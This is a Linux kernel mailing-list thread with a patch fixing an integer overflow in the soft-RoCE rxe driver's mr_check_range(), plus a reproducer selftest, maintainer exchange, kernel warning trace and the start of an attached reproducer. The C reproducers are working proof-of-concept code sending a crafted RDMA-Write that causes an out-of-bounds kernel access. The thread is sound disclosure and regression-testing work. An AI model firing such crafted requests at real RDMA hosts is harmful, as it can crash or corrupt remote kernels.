[PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB)

[PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB)

[Gang Yan]

From: Gang Yan <yangang@kylinos.cn>

Hi, Maintainers

I've recently started learning RDMA, using soft-RoCE (rxe) as my study
platform. While pair-programming with an AI assistant during this learning,
it flagged an integer overflow in mr_check_range(). I dug in, stood up a
small reproducer, and -- believing the issue is real and worth fixing --
put together this small series.

Thanks
Gang

Gang Yan (2):
  RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB
    access
  DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer

 drivers/infiniband/sw/rxe/rxe_mr.c            |   3 +-
 tools/testing/selftests/rdma/Makefile         |   8 +-
 tools/testing/selftests/rdma/config           |   2 +
 .../testing/selftests/rdma/rxe_mr_overflow.c  | 187 ++++++++++++++++++
 .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
 5 files changed, 330 insertions(+), 2 deletions(-)
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh

-- 
2.43.0

[PATCH net 1/2] RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access

[Gang Yan]

From: Gang Yan <yangang@kylinos.cn>

mr_check_range() validates that [iova, iova+length) falls within the
registered MR range using wraparound-prone arithmetic:

    if (iova < mr->ibmr.iova ||
        iova + length > mr->ibmr.iova + mr->ibmr.length)

A remote peer can craft an RDMA-Write/Read RETH so that iova + length
wraps to 0 (e.g. iova=0xfffffffffffffff8, length=8), bypassing the
check. rxe_mr_iova_to_index() then computes a huge index (int idx, only
guarded by WARN_ON) and rxe_mr_copy_xarray() dereferences
mr->page_info[huge], causing an out-of-bounds read/write and a kernel
oops that is triggerable by an unauthenticated remote peer.

Rewrite the check in overflow-safe form; the first two clauses guarantee
that the subsequent subtractions do not underflow:

    if (iova < mr->ibmr.iova ||
        length > mr->ibmr.length ||
        iova - mr->ibmr.iova > mr->ibmr.length - length)

With the fix, mr_check_range() returns -EINVAL for the crafted iova and
the responder reports REMOTE_ACCESS_ERROR instead of triggering the OOB.

Assisted-by: Codex: GLM-5.2
Fixes: 8700e3e7c485 ("Soft RoCE driver")
Signed-off-by: Gang Yan <yangang@kylinos.cn>
---
 drivers/infiniband/sw/rxe/rxe_mr.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/sw/rxe/rxe_mr.c b/drivers/infiniband/sw/rxe/rxe_mr.c
index 875eceb55fdf..71d9ea477289 100644
--- a/drivers/infiniband/sw/rxe/rxe_mr.c
+++ b/drivers/infiniband/sw/rxe/rxe_mr.c
@@ -33,7 +33,8 @@ int mr_check_range(struct rxe_mr *mr, u64 iova, size_t length)
 	case IB_MR_TYPE_USER:
 	case IB_MR_TYPE_MEM_REG:
 		if (iova < mr->ibmr.iova ||
-		    iova + length > mr->ibmr.iova + mr->ibmr.length) {
+		    length > mr->ibmr.length ||
+		    iova - mr->ibmr.iova > mr->ibmr.length - length) {
 			rxe_dbg_mr(mr, "iova/length out of range\n");
 			return -EINVAL;
 		}
-- 
2.43.0

[PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer

[Gang Yan]

From: Gang Yan <yangang@kylinos.cn>

This patch is for reproduce the OOB issue.

Requirements:
* Kernel built with ``CONFIG_INFINIBAND``, ``CONFIG_INFINIBAND_USER_ACCESS``
  and ``CONFIG_RDMA_RXE`` (=m is fine).
* ``rdma_rxe`` module loadable (``modprobe rdma_rxe``).
* Userspace headers/libs to build the helper: ``libibverbs-dev``,
  ``librdmacm-dev``.
* Root (the script builds a network namespace, a veth pair and two rxe
  devices).

BUILD and RUN:
    cd tools/testing/selftests/rdma
    make
    # as root:
    ./rxe_mr_overflow.sh

Expected results (Unpatched kernel (bug present) — FAIL):
The kernel log shows the index WARNING immediately followed by an OOB Oops
in the responder path::

    WARNING: CPU: N PID: ... at rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
    ...
    RIP: 0010:rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
    Call Trace:
     <TASK>
     rxe_mr_copy+0x.../0x... [rdma_rxe]
     rxe_receiver+0x.../0x... [rdma_rxe]
     do_work+0x.../0x... [rdma_rxe]
     ...
    Oops: general protection fault, probably for non-canonical address 0x...
    Workqueue: rxe_wq do_work [rdma_rxe]
    RIP: 0010:rxe_mr_copy+0x.../0x... [rdma_rxe]
    Call Trace:
     <TASK>
     rxe_mr_copy+0x.../0x... [rdma_rxe]
     rxe_receiver+0x.../0x... [rdma_rxe]
     do_work+0x.../0x... [rdma_rxe]

Assisted-by: Codex: GLM-5.2
Signed-off-by: Gang Yan <yangang@kylinos.cn>
---
 tools/testing/selftests/rdma/Makefile         |   8 +-
 tools/testing/selftests/rdma/config           |   2 +
 .../testing/selftests/rdma/rxe_mr_overflow.c  | 187 ++++++++++++++++++
 .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
 4 files changed, 328 insertions(+), 1 deletion(-)
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh

diff --git a/tools/testing/selftests/rdma/Makefile b/tools/testing/selftests/rdma/Makefile
index 07af7f15c1bf..effeb8121d41 100644
--- a/tools/testing/selftests/rdma/Makefile
+++ b/tools/testing/selftests/rdma/Makefile
@@ -1,8 +1,14 @@
 # SPDX-License-Identifier: GPL-2.0
-TEST_PROGS := rxe_rping_between_netns.sh \
+TEST_GEN_FILES := rxe_mr_overflow
+TEST_PROGS := rxe_mr_overflow.sh \
+		rxe_rping_between_netns.sh \
 		rxe_ipv6.sh \
 		rxe_socket_with_netns.sh \
 		rxe_test_NETDEV_UNREGISTER.sh \
 		rxe_sent_rcvd_bytes.sh
 
 include ../lib.mk
+
+# rxe_mr_overflow uses libibverbs / librdmacm
+$(OUTPUT)/rxe_mr_overflow: CFLAGS += -O2 -Wall
+$(OUTPUT)/rxe_mr_overflow: LDLIBS += -libverbs -lrdmacm
diff --git a/tools/testing/selftests/rdma/config b/tools/testing/selftests/rdma/config
index 4ffb814e253b..bc27ce3ec093 100644
--- a/tools/testing/selftests/rdma/config
+++ b/tools/testing/selftests/rdma/config
@@ -1,3 +1,5 @@
 CONFIG_TUN
 CONFIG_VETH
 CONFIG_RDMA_RXE
+CONFIG_INFINIBAND
+CONFIG_INFINIBAND_USER_ACCESS
diff --git a/tools/testing/selftests/rdma/rxe_mr_overflow.c b/tools/testing/selftests/rdma/rxe_mr_overflow.c
new file mode 100644
index 000000000000..ccad930533ac
--- /dev/null
+++ b/tools/testing/selftests/rdma/rxe_mr_overflow.c
@@ -0,0 +1,187 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * rxe_mr_overflow.c - trigger mr_check_range() iova overflow (OOB)
+ *
+ * Companion to rxe_mr_overflow.sh. The server registers a USER/MEM_REG MR
+ * and accepts an RDMA_CM connection, passing its rkey via private data. The
+ * client posts a single RDMA-WRITE whose remote_addr is chosen so that
+ * iova + length wraps to 0 in mr_check_range():
+ *
+ *     iova + length = 0xfffffffffffffff8 + 8 = 2^64 = 0
+ *
+ * On an *unpatched* kernel this bypasses mr_check_range(), and the responder
+ * computes a huge index in rxe_mr_iova_to_index() (WARN_ON(idx >= nbuf)) and
+ * dereferences mr->page_info[huge] -> out-of-bounds access / oops.
+ *
+ * On a *patched* kernel mr_check_range() rejects the crafted iova and the
+ * client completion is IBV_WC_REM_ACCESS_ERR (remote access error).
+ *
+ * Build: see Makefile (needs libibverbs-dev / librdmacm-dev).
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <arpa/inet.h>
+#include <infiniband/verbs.h>
+#include <rdma/rdma_cma.h>
+
+#define BAD_ADDR	0xfffffffffffffff8ULL	/* iova + WR_LEN wraps to 0 */
+#define WR_LEN		8
+#define MR_LEN		4096
+
+struct mr_info {
+	uint32_t rkey;
+	uint32_t pad;
+	uint64_t iova;
+} __attribute__((packed));
+
+static int wait_ev(struct rdma_event_channel *ec, struct rdma_cm_event **ev,
+		   enum rdma_cm_event_type want)
+{
+	while (rdma_get_cm_event(ec, ev) == 0) {
+		if ((*ev)->event != want) {
+			fprintf(stderr, "unexpected event %s (want %s)\n",
+				rdma_event_str((*ev)->event), rdma_event_str(want));
+			rdma_ack_cm_event(*ev);
+			return -1;
+		}
+		return 0;
+	}
+	perror("rdma_get_cm_event");
+	return -1;
+}
+
+static int run_server(const char *ip, int port)
+{
+	struct rdma_event_channel *ec = rdma_create_event_channel();
+	struct rdma_cm_id *lid;
+	struct rdma_cm_event *ev;
+
+	if (!ec) { perror("event_channel"); return 1; }
+	if (rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) { perror("create_id"); return 1; }
+
+	struct sockaddr_in sin = {0};
+	sin.sin_family = AF_INET;
+	sin.sin_port = htons(port);
+	if (!inet_pton(AF_INET, ip, &sin.sin_addr)) { fprintf(stderr, "bad ip\n"); return 1; }
+
+	if (rdma_bind_addr(lid, (struct sockaddr *)&sin)) { perror("bind_addr"); return 1; }
+	if (rdma_listen(lid, 1)) { perror("listen"); return 1; }
+	printf("[server] listen %s:%d dev=%s\n", ip, port,
+		lid->verbs ? ibv_get_device_name(lid->verbs->device) : "?");
+	fflush(stdout);
+
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1;
+	struct rdma_cm_id *id = ev->id;
+
+	struct ibv_pd *pd = ibv_alloc_pd(id->verbs);
+	struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0);
+	if (!pd || !cq) { perror("alloc_pd/create_cq"); return 1; }
+	void *buf = calloc(1, MR_LEN);
+	struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN,
+		IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE);
+	if (!mr) { perror("reg_mr"); return 1; }
+
+	struct ibv_qp_init_attr qa = {0};
+	qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC;
+	qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
+	qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
+	if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; }
+
+	struct mr_info info = { .rkey = mr->rkey, .iova = (uint64_t)(uintptr_t)buf };
+	struct rdma_conn_param p = {0};
+	p.private_data = &info;
+	p.private_data_len = sizeof(info);
+	p.initiator_depth = 1;
+	p.responder_resources = 1;
+	if (rdma_accept(id, &p)) { perror("accept"); return 1; }
+	rdma_ack_cm_event(ev);
+	printf("[server] accepted rkey=%#x iova=%#llx; waiting for client write\n",
+		mr->rkey, (unsigned long long)info.iova);
+	fflush(stdout);
+
+	/* The OOB (if unpatched) fires here in the responder path. */
+	sleep(5);
+	return 0;
+}
+
+static int run_client(const char *ip, int port)
+{
+	struct rdma_event_channel *ec = rdma_create_event_channel();
+	struct rdma_cm_id *id;
+	struct rdma_cm_event *ev;
+
+	if (!ec) { perror("event_channel"); return 1; }
+	if (rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { perror("create_id"); return 1; }
+
+	struct sockaddr_in sin = {0};
+	sin.sin_family = AF_INET; sin.sin_port = htons(port);
+	if (!inet_pton(AF_INET, ip, &sin.sin_addr)) { fprintf(stderr, "bad ip\n"); return 1; }
+
+	if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000)) { perror("resolve_addr"); return 1; }
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED)) return 1;
+	rdma_ack_cm_event(ev);
+	if (rdma_resolve_route(id, 5000)) { perror("resolve_route"); return 1; }
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED)) return 1;
+	rdma_ack_cm_event(ev);
+
+	struct ibv_pd *pd = ibv_alloc_pd(id->verbs);
+	struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0);
+	void *buf = calloc(1, MR_LEN);
+	struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN, IBV_ACCESS_LOCAL_WRITE);
+	struct ibv_qp_init_attr qa = {0};
+	qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC;
+	qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
+	qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
+	if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; }
+
+	struct rdma_conn_param p = {0};
+	p.initiator_depth = 1; p.responder_resources = 1; p.retry_count = 3;
+	if (rdma_connect(id, &p)) { perror("connect"); return 1; }
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) return 1;
+
+	struct mr_info info = {0};
+	if (ev->param.conn.private_data_len >= (int)sizeof(info))
+		memcpy(&info, ev->param.conn.private_data, sizeof(info));
+	rdma_ack_cm_event(ev);
+
+	/* The malicious RDMA-WRITE: remote_addr makes iova+length wrap. */
+	struct ibv_sge sge = { .addr = (uintptr_t)buf, .length = WR_LEN, .lkey = mr->lkey };
+	struct ibv_send_wr wr = {0}, *bad;
+	wr.wr_id = 0xdead;
+	wr.opcode = IBV_WR_RDMA_WRITE;
+	wr.send_flags = IBV_SEND_SIGNALED;
+	wr.sg_list = &sge;
+	wr.num_sge = 1;
+	wr.wr.rdma.remote_addr = BAD_ADDR;
+	wr.wr.rdma.rkey = info.rkey;
+	printf("[client] post RDMA-WRITE remote_addr=%#llx len=%d rkey=%#x\n",
+		(unsigned long long)BAD_ADDR, WR_LEN, info.rkey);
+	fflush(stdout);
+	ibv_post_send(id->qp, &wr, &bad);
+
+	struct ibv_wc wc;
+	int n, tries = 5000;
+	while (tries-- > 0 && (n = ibv_poll_cq(cq, 1, &wc)) == 0)
+		usleep(1000);
+	if (n > 0)
+		printf("[client] completion status=%d (%s)\n",
+			wc.status, ibv_wc_status_str(wc.status));
+	else
+		printf("[client] no completion (responder likely crashed)\n");
+	sleep(2);
+	return 0;
+}
+
+int main(int argc, char **argv)
+{
+	if (argc == 3)			/* server <ip> <port> */
+		return run_server(argv[1], atoi(argv[2]));
+	if (argc == 4 && !strcmp(argv[1], "-c"))	/* -c <ip> <port> */
+		return run_client(argv[2], atoi(argv[3]));
+	fprintf(stderr, "Usage:\n  server: %s <ip> <port>\n  client: %s -c <ip> <port>\n",
+		argv[0], argv[0]);
+	return 1;
+}
diff --git a/tools/testing/selftests/rdma/rxe_mr_overflow.sh b/tools/testing/selftests/rdma/rxe_mr_overflow.sh
new file mode 100644
index 000000000000..2590e41be99b
--- /dev/null
+++ b/tools/testing/selftests/rdma/rxe_mr_overflow.sh
@@ -0,0 +1,132 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0
+#
+# Regression test for the mr_check_range() iova overflow in SoftRoCE (rxe).
+#
+# A remote peer can craft an RDMA-WRITE whose RETH makes iova + length wrap
+# to 0, bypassing the old
+#
+#	if (iova + length > mr->ibmr.iova + mr->ibmr.length)
+#
+# range check in mr_check_range(). The responder then derives a huge page
+# index in rxe_mr_iova_to_index() (only WARN_ON-guarded) and dereferences
+# mr->page_info[huge] -> out-of-bounds read/write / kernel oops, triggerable
+# by an unauthenticated remote peer.
+#
+# Fixed by rewriting the check in overflow-safe form:
+#
+#	if (iova < mr->ibmr.iova ||
+#	    length > mr->ibmr.length ||
+#	    iova - mr->ibmr.iova > mr->ibmr.length - length)
+#
+# Topology: a veth pair across a network namespace, one rxe device on each
+# end. The server (ns) registers a USER MR and accepts an RDMA_CM
+# connection, passing its rkey/iova in the private data. The client (host)
+# posts one RDMA-WRITE with remote_addr = 0xfffffffffffffff8, len = 8.
+#
+#   - Patched kernel:   PASS  (mr_check_range() rejects the crafted iova;
+#                              the client completion is IBV_WC_REM_ACCESS_ERR;
+#                              no kernel warning/oops in dmesg)
+#   - Unpatched kernel: FAIL  (WARN_ON in rxe_mr_iova_to_index followed by
+#                              an OOB page fault / oops in rxe_mr_copy)
+
+NS="rxe_mrovf"
+VETH_NS="vmo-a"
+VETH_HOST="vmo-b"
+IP_NS="1.1.1.1"
+IP_HOST="1.1.1.2"
+PORT=4792
+BIN="$(dirname "$(readlink -f "$0")")/rxe_mr_overflow"
+
+source "$(dirname "$0")/../kselftest/ktap_helpers.sh"
+
+SRV=
+
+# Remove the topology this script creates. Idempotent: safe to call even when
+# some of the resources no longer exist (e.g. partial setup, prior abort).
+rxe_teardown() {
+	rdma link del rxe1 2>/dev/null
+	ip netns exec "$NS" rdma link del rxe0 2>/dev/null
+	ip link delete "$VETH_HOST" 2>/dev/null
+	ip netns del "$NS" 2>/dev/null
+}
+
+cleanup() {
+	trap '' INT TERM EXIT		# guard against re-entry
+	# Kill the server first so the client does not block on a dead peer.
+	[ -n "$SRV" ] && kill "$SRV" 2>/dev/null
+	wait "$SRV" 2>/dev/null
+	rxe_teardown
+	modprobe -r rdma_rxe 2>/dev/null
+}
+# Cover normal exit, Ctrl+C (SIGINT) and kill (SIGTERM) alike.
+trap cleanup INT TERM EXIT
+
+# Tear down any leftover topology from a previous aborted run (SIGINT, kill
+# -9, guest crash, ...) so this script is always re-runnable instead of
+# failing on "RTNETLINK answers: File exists".
+rxe_teardown
+
+# --- Prerequisites ---
+if [ "$EUID" -ne 0 ]; then
+	ktap_print_header
+	ktap_skip_all "needs root"
+	exit "$KSFT_SKIP"
+fi
+if ! modinfo rdma_rxe >/dev/null 2>&1; then
+	ktap_print_header
+	ktap_skip_all "rdma_rxe module not found"
+	exit "$KSFT_SKIP"
+fi
+if [ ! -x "$BIN" ]; then
+	ktap_print_header
+	ktap_skip_all "$BIN not built (needs libibverbs-dev / librdmacm-dev)"
+	exit "$KSFT_SKIP"
+fi
+
+modprobe rdma_rxe >/dev/null 2>&1
+
+# --- Topology: veth pair across a netns, one rxe device on each end ---
+ip netns add "$NS"
+ip link add "$VETH_NS" type veth peer name "$VETH_HOST"
+ip link set "$VETH_NS" netns "$NS"
+
+ip netns exec "$NS" ip addr add "$IP_NS/24" dev "$VETH_NS"
+ip netns exec "$NS" ip link set "$VETH_NS" up
+ip netns exec "$NS" ip link set lo up
+ip addr add "$IP_HOST/24" dev "$VETH_HOST"
+ip link set "$VETH_HOST" up
+
+ip netns exec "$NS" rdma link add rxe0 type rxe netdev "$VETH_NS"
+rdma link add rxe1 type rxe netdev "$VETH_HOST"
+
+if ! ping -c 2 -W 1 "$IP_NS" >/dev/null 2>&1; then
+	ktap_print_header
+	ktap_skip_all "no connectivity between host and netns"
+	exit "$KSFT_SKIP"
+fi
+
+# Only look at warnings produced by this run.
+dmesg -C >/dev/null 2>&1
+
+# --- Run: server in the netns, client on the host ---
+# On an unpatched kernel the crafted WRITE can wedge the responder; wrap both
+# sides in timeout() so the script always reaches a verdict and runs cleanup
+# instead of hanging on a stuck peer.
+ktap_print_header
+ktap_set_plan 1
+
+ip netns exec "$NS" timeout 30 "$BIN" "$IP_NS" "$PORT" >/dev/null 2>&1 &
+SRV=$!
+sleep 2
+timeout 30 "$BIN" -c "$IP_NS" "$PORT" >/dev/null 2>&1
+wait "$SRV" 2>/dev/null
+
+# --- Verdict: any rxe MR-range warning / OOB means the kernel is unpatched ---
+if dmesg 2>/dev/null | grep -qE "rxe_mr_iova_to_index|mr_check_range|BUG:.*rxe_mr_copy|KASAN:.*rxe_mr"; then
+	ktap_test_fail "mr_check_range() iova overflow (UNPATCHED): OOB/WARN in dmesg"
+else
+	ktap_test_pass "mr_check_range() rejected crafted iova (patched)"
+fi
+
+ktap_finished
-- 
2.43.0

Re: [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB)

[Zhu Yanjun]

在 2026/7/28 2:11, Gang Yan 写道:
> From: Gang Yan <yangang@kylinos.cn>
>
> Hi, Maintainers
>
> I've recently started learning RDMA, using soft-RoCE (rxe) as my study
> platform. While pair-programming with an AI assistant during this learning,
> it flagged an integer overflow in mr_check_range(). I dug in, stood up a
> small reproducer, and -- believing the issue is real and worth fixing --
> put together this small series.

Do you have a small reproducer for this issue? If so, could you please 
share it on the RDMA mailing list?

I’d like to use it to reproduce the problem and confirm that this commit 
fixes the reported issue.

Thanks a lot.

Zhu Yanjun

>
> Thanks
> Gang
>
> Gang Yan (2):
>    RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB
>      access
>    DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
>
>   drivers/infiniband/sw/rxe/rxe_mr.c            |   3 +-
>   tools/testing/selftests/rdma/Makefile         |   8 +-
>   tools/testing/selftests/rdma/config           |   2 +
>   .../testing/selftests/rdma/rxe_mr_overflow.c  | 187 ++++++++++++++++++
>   .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
>   5 files changed, 330 insertions(+), 2 deletions(-)
>   create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
>   create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
>
-- 
Best Regards,
Yanjun.Zhu

Re: [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB)

[gang.yan]

[-- Attachment #1: Type: text/plain, Size: 6230 bytes --]

July 30, 2026 at 1:15 PM, "Zhu Yanjun" <yanjun.zhu@linux.dev mailto:yanjun.zhu@linux.dev?to=%22Zhu%20Yanjun%22%20%3Cyanjun.zhu%40linux.dev%3E > wrote:


> 
> 在 2026/7/28 2:11, Gang Yan 写道:
> 
> > 
> > From: Gang Yan <yangang@kylinos.cn>
> > 
> >  Hi, Maintainers
> > 
> >  I've recently started learning RDMA, using soft-RoCE (rxe) as my study
> >  platform. While pair-programming with an AI assistant during this learning,
> >  it flagged an integer overflow in mr_check_range(). I dug in, stood up a
> >  small reproducer, and -- believing the issue is real and worth fixing --
> >  put together this small series.
> > 
> Do you have a small reproducer for this issue? If so, could you please share it on the RDMA mailing list?

Hi,

Thanks for your review. Here is a small reproducer (attached rxe_overflow_repro.c). I put it together
quickly with the help of an Claude Code, as I'm still quite new to RDMA.

Idea: the client posts
the client posts one RDMA-Write whose remote_addr
  (0xfffffffffffffff8, len 8) makes iova + length wrap to 0, bypassing the
  old mr_check_range() comparison; the responder then derives an
  out-of-bounds page index in rxe_mr_iova_to_index() (the WARN_ON) and
  reaches mr->page_info[] OOB.

Build & run (as root):

 sudo yum install -y libibverbs-devel librdmacm-devel
 gcc -O2 -o repro rxe_overflow_repro.c -libverbs -lrdmacm
 sudo modprobe rdma_rxe
 sudo ip link add dummy0 type dummy
 sudo ip addr add 192.168.172.1/24 dev dummy0 && sudo ip link set dummy0 up
 sudo ip link set dummy0 up
 sudo rdma link add rxe0 type rxe netdev dummy0
 sudo ./repro 192.168.172.1

and then check the dmesg:
[  136.830844] ------------[ cut here ]------------
[  136.830848] WARNING: drivers/infiniband/sw/rxe/rxe_mr.c:99 at rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe], CPU#188: kworker/u957:0/1368
[  136.830870] Modules linked in: rdma_ucm ib_uverbs ib_uverbs_support rdma_cm iw_cm ib_cm dummy rdma_rxe ib_core ip6_udp_tunnel udp_tunnel joydev uinput snd_seq_dummy snd_hrtimer rfkill nf_conntrack_netbios_ns nf_conntrack_broadcast nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables sunrpc qrtr snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_intel_dspcfg snd_intel_sdw_acpi snd_hwdep intel_rapl_msr snd_seq intel_rapl_common snd_seq_device snd_pcm virtio_balloon snd_timer snd i2c_piix4 soundcore pcspkr i2c_smbus zram lz4hc_compress vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock qxl serio_raw drm_exec drm_ttm_helper e1000 ttm ata_generic pata_acpi i2c_dev qemu_fw_cfg virtiofs fuse
[  136.830928] CPU: 188 UID: 0 PID: 1368 Comm: kworker/u957:0 Not tainted 7.2.0-rc5+ #1 PREEMPT(lazy)
[  136.830931] Hardware name: Red Hat KVM, BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
[  136.830935] Workqueue: rxe_wq do_work [rdma_rxe]
[  136.830944] RIP: 0010:rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe]
[  136.830953] Code: 48 83 c4 28 e9 f9 1d 79 d2 48 8b 4f 68 48 23 8f 48 01 00 00 48 29 c8 48 89 c2 48 c1 ea 0c 48 63 c2 41 3b 90 58 01 00 00 72 d6 <0f> 0b 48 83 c4 28 e9 cd 1d 79 d2 66 90 66 66 2e 0f 1f 84 00 00 00
[  136.830954] RSP: 0018:ffffd0c5833c7d38 EFLAGS: 00010286
[  136.830957] RAX: ffffffffffff332d RBX: 0000000000000008 RCX: 000000000000000c
[  136.830958] RDX: 00000000ffff332d RSI: 000000000000ccd2 RDI: ffff8d8ddc8b7e00
[  136.830960] RBP: fffffffffffffff8 R08: ffff8d8ddc8b7e00 R09: 000000000000000c
[  136.830961] R10: 0000000000000008 R11: ffff8d8d0ab96e56 R12: ffff8d8ddc8b7e00
[  136.830962] R13: ffff8d8d0ab96e56 R14: 0000000000000286 R15: ffff8d8cd1a80428
[  136.830966] FS:  0000000000000000(0000) GS:ffff8d9bcc89a000(0000) knlGS:0000000000000000
[  136.830968] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  136.830969] CR2: 000000000ccd39b8 CR3: 00000001061fe000 CR4: 0000000000350ef0
[  136.830973] Call Trace:
[  136.830975]  <TASK>
[  136.830978]  ? rxe_pool_get_index+0x4b/0x70 [rdma_rxe]
[  136.830986]  rxe_mr_copy_xarray+0xb4/0x170 [rdma_rxe]
[  136.830994]  execute+0x27e/0x320 [rdma_rxe]
[  136.831002]  rxe_receiver+0x4f9/0xce0 [rdma_rxe]
[  136.831009]  ? __pfx_rxe_receiver+0x10/0x10 [rdma_rxe]
[  136.831015]  do_task+0x70/0x220 [rdma_rxe]
[  136.831023]  process_one_work+0x19e/0x370
[  136.831028]  worker_thread+0x1a6/0x310
[  136.831030]  ? __pfx_worker_thread+0x10/0x10
[  136.831032]  kthread+0xe4/0x120
[  136.831035]  ? __pfx_kthread+0x10/0x10
[  136.831038]  ret_from_fork+0x1a1/0x270
[  136.831058]  ? __pfx_kthread+0x10/0x10
[  136.831060]  ret_from_fork_asm+0x1a/0x30
[  136.831066]  </TASK>
[  136.831067] ---[ end trace 0000000000000000 ]---
[  136.831077] rxe0: qp#17 make_send_cqe: non-flush error status = 10
[  207.516233] dummy0 speed is unknown, defaulting to 1000

I tried it on a Fedora guest running 7.2.0-rc5: it reliably reproduces the WARNING
at rxe_mr_iova_to_index() (i.e. the responder accepting an out-of-bounds index).

I'm still learning the RDMA stack, so my understanding of some of the details may not
be fully thorough — apologies if anything above is unclear, and I'm happy to correct
or expand on whatever is needed.

Thanks
Gang

> 
> I’d like to use it to reproduce the problem and confirm that this commit fixes the reported issue.
> 
> Thanks a lot.
> 
> Zhu Yanjun
> 
> > 
> > Thanks
> >  Gang
> > 
> >  Gang Yan (2):
> >  RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB
> >  access
> >  DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
> > 
> >  drivers/infiniband/sw/rxe/rxe_mr.c | 3 +-
> >  tools/testing/selftests/rdma/Makefile | 8 +-
> >  tools/testing/selftests/rdma/config | 2 +
> >  .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++
> >  .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
> >  5 files changed, 330 insertions(+), 2 deletions(-)
> >  create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
> >  create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
> > 
> -- Best Regards,
> Yanjun.Zhu
>

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: rxe_overflow_repro.c --]
[-- Type: text/x-c; name="rxe_overflow_repro.c", Size: 6971 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * Minimal reproducer for the rxe mr_check_range() iova overflow (OOB).
 *
 * One binary: fork() into a server (registers a USER MR) and a client that
 * posts one RDMA-Write whose remote_addr makes iova + length wrap to 0,
 * bypassing the old mr_check_range() check and OOB-ing in rxe_mr_copy().
 *
 * Prereqs (Ubuntu/Debian; analogous on Fedora):
 *   sudo apt install -y libibverbs-dev librdmacm-dev gcc
 *   # kernel needs CONFIG_RDMA_RXE, CONFIG_INFINIBAND,
 *   # CONFIG_INFINIBAND_USER_ACCESS (=m on distro generic kernels)
 *
 * Build:
 *   gcc -O2 -o repro rxe_overflow_repro.c -libverbs -lrdmacm
 * Run (as root):
 *   modprobe rdma_rxe
 *   ip link add dummy0 type dummy
 *   ip addr add 192.168.172.1/24 dev dummy0 && ip link set dummy0 up
 *   rdma link add rxe0 type rxe netdev dummy0
 *   ./repro 192.168.172.1
 *
 * Verdict: the client only triggers the bug; read the kernel log:
 *   grep rxe_mr_iova_to_index /dev/kmsg     # present => vulnerable
 * Unpatched kernel shows:
 *   WARNING: ... at rxe_mr_iova_to_index+... [rdma_rxe]
 *   Oops: ... rxe_mr_copy+... [rdma_rxe]
 * Patched kernel: mr_check_range() rejects the iova, log stays clean.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/wait.h>
